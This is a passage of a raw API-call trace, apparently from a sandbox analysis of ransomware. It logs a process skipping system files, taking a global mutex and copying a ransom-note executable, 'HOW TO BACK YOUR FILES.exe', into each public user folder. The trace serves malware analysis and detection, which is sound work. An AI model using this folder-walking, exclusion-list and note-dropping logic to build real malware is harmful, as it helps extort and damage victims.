"c:\\documents and settings\\public\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.099] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2=".") returned 1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="..") returned 1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="windows") returned -1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="bootmgr") returned 1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="temp") returned -1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="pagefile.sys") returned -1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="boot") returned 1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="ids.txt") returned -1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="ntuser.dat") returned -1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="perflogs") returned -1 [0036.099] lstrcmpiW (lpString1="Downloads", lpString2="MSBuild") returned -1 [0036.099] lstrlenW (lpString="Downloads") returned 9 [0036.099] lstrcpyW (in: lpString1=0x241e88a, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0036.099] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Downloads", dwFileAttributes=0x10) returned 1 [0036.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf00 [0036.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x528d10 [0036.099] lstrcatW (in: lpString1="Downloads", lpString2="\\" | out: lpString1="Downloads\\") returned="Downloads\\" [0036.099] lstrcatW (in: lpString1="Downloads\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Downloads\\HOW TO BACK YOUR FILES.exe") returned="Downloads\\HOW TO BACK YOUR FILES.exe" [0036.099] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.102] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1 [0036.102] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1 [0036.102] lstrlenW (lpString="Favorites") returned 9 [0036.102] lstrcpyW (in: lpString1=0x241e88a, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0036.102] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Favorites", dwFileAttributes=0x12) returned 1 [0036.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf18 [0036.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x528d70 [0036.103] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0036.103] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0036.103] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.103] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3a7900, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc3a7900, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0036.103] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0036.103] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2=".") returned 1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="..") returned 1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="windows") returned -1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="bootmgr") returned 1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="temp") returned -1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="pagefile.sys") returned -1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="boot") returned 1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="ids.txt") returned 1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="ntuser.dat") returned -1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="perflogs") returned -1 [0036.103] lstrcmpiW (lpString1="Libraries", lpString2="MSBuild") returned -1 [0036.104] lstrlenW (lpString="Libraries") returned 9 [0036.104] lstrcpyW (in: lpString1=0x241e88a, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0036.104] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Libraries", dwFileAttributes=0x12) returned 1 [0036.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf30 [0036.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x528dd0 [0036.104] lstrcatW (in: lpString1="Libraries", lpString2="\\" | out: lpString1="Libraries\\") returned="Libraries\\" [0036.104] lstrcatW (in: lpString1="Libraries\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Libraries\\HOW TO BACK YOUR FILES.exe") returned="Libraries\\HOW TO BACK YOUR FILES.exe" [0036.104] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Libraries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\libraries\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.108] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0036.108] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.108] lstrcmpiW (lpString1="Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.108] lstrcmpiW (lpString1="Music", lpString2=".") returned 1 [0036.108] lstrcmpiW (lpString1="Music", lpString2="..") returned 1 [0036.108] lstrcmpiW (lpString1="Music", lpString2="windows") returned -1 [0036.108] lstrcmpiW (lpString1="Music", lpString2="bootmgr") returned 1 [0036.108] lstrcmpiW (lpString1="Music", lpString2="temp") returned -1 [0036.108] lstrcmpiW (lpString1="Music", lpString2="pagefile.sys") returned -1 [0036.108] lstrcmpiW (lpString1="Music", lpString2="boot") returned 1 [0036.109] lstrcmpiW (lpString1="Music", lpString2="ids.txt") returned 1 [0036.109] lstrcmpiW (lpString1="Music", lpString2="ntuser.dat") returned -1 [0036.109] lstrcmpiW (lpString1="Music", lpString2="perflogs") returned -1 [0036.109] lstrcmpiW (lpString1="Music", lpString2="MSBuild") returned 1 [0036.109] lstrlenW (lpString="Music") returned 5 [0036.109] lstrcpyW (in: lpString1=0x241e88a, lpString2="Music" | out: lpString1="Music") returned="Music" [0036.109] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Music", dwFileAttributes=0x10) returned 1 [0036.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf48 [0036.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x515c38 [0036.109] lstrcatW (in: lpString1="Music", lpString2="\\" | out: lpString1="Music\\") returned="Music\\" [0036.109] lstrcatW (in: lpString1="Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Music\\HOW TO BACK YOUR FILES.exe") returned="Music\\HOW TO BACK YOUR FILES.exe" [0036.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\music\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.115] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2=".") returned 1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="..") returned 1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="windows") returned -1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="bootmgr") returned 1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="temp") returned -1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="pagefile.sys") returned 1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="boot") returned 1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="ids.txt") returned 1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="ntuser.dat") returned 1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="perflogs") returned 1 [0036.115] lstrcmpiW (lpString1="Pictures", lpString2="MSBuild") returned 1 [0036.115] lstrlenW (lpString="Pictures") returned 8 [0036.115] lstrcpyW (in: lpString1=0x241e88a, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0036.115] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Pictures", dwFileAttributes=0x10) returned 1 [0036.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf60 [0036.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x528e30 [0036.116] lstrcatW (in: lpString1="Pictures", lpString2="\\" | out: lpString1="Pictures\\") returned="Pictures\\" [0036.116] lstrcatW (in: lpString1="Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Pictures\\HOW TO BACK YOUR FILES.exe") returned="Pictures\\HOW TO BACK YOUR FILES.exe" [0036.116] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.118] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2=".") returned 1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="..") returned 1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="windows") returned -1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="bootmgr") returned 1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="temp") returned -1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="pagefile.sys") returned 1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="boot") returned 1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="ids.txt") returned 1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="ntuser.dat") returned 1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="perflogs") returned 1 [0036.118] lstrcmpiW (lpString1="Recorded TV", lpString2="MSBuild") returned 1 [0036.118] lstrlenW (lpString="Recorded TV") returned 11 [0036.118] lstrcpyW (in: lpString1=0x241e88a, lpString2="Recorded TV" | out: lpString1="Recorded TV") returned="Recorded TV" [0036.118] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Recorded TV", dwFileAttributes=0x10) returned 1 [0036.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf78 [0036.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51b948 [0036.119] lstrcatW (in: lpString1="Recorded TV", lpString2="\\" | out: lpString1="Recorded TV\\") returned="Recorded TV\\" [0036.119] lstrcatW (in: lpString1="Recorded TV\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Recorded TV\\HOW TO BACK YOUR FILES.exe") returned="Recorded TV\\HOW TO BACK YOUR FILES.exe" [0036.119] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Recorded TV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\recorded tv\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.123] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2=".") returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="..") returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="windows") returned -1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="bootmgr") returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="temp") returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="pagefile.sys") returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="boot") returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="ids.txt") returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="ntuser.dat") returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="perflogs") returned 1 [0036.123] lstrcmpiW (lpString1="Videos", lpString2="MSBuild") returned 1 [0036.123] lstrlenW (lpString="Videos") returned 6 [0036.124] lstrcpyW (in: lpString1=0x241e88a, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0036.124] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Videos", dwFileAttributes=0x10) returned 1 [0036.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf90 [0036.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x5160b0 [0036.124] lstrcatW (in: lpString1="Videos", lpString2="\\" | out: lpString1="Videos\\") returned="Videos\\" [0036.124] lstrcatW (in: lpString1="Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Videos\\HOW TO BACK YOUR FILES.exe") returned="Videos\\HOW TO BACK YOUR FILES.exe" [0036.124] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\videos\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.126] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0036.126] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0036.126] ReleaseMutex (hMutex=0xec) returned 1 [0036.126] CloseHandle (hObject=0xec) returned 1 [0036.126] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users" | out: lpString1="C:\\MSOCache\\All Users") returned="C:\\MSOCache\\All Users" [0036.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a7f8 | out: hHeap=0x4f0000) returned 1 [0036.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509008 | out: hHeap=0x4f0000) returned 1 [0036.126] lstrlenW (lpString="C:\\MSOCache\\All Users") returned 21 [0036.126] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\925D02111DDF91BB9D0F74E088D9FB5E") returned 0xec [0036.126] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0036.127] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users" | out: lpString1="C:\\MSOCache\\All Users") returned="C:\\MSOCache\\All Users" [0036.127] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0036.127] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.127] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0036.127] GetLastError () returned 0x0 [0036.127] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0036.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f508 [0036.127] ReadFile (in: hFile=0xf4, lpBuffer=0x52f508, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f508*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0036.127] CloseHandle (hObject=0xf4) returned 1 [0036.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f508 | out: hHeap=0x4f0000) returned 1 [0036.127] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0036.127] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc3cda60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3cda60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0036.128] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.128] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.128] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0036.128] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc3cda60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3cda60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.129] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.129] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.129] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0036.129] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0036.129] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc3cda60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc3cda60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0036.129] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0036.129] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.129] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.129] lstrlenW 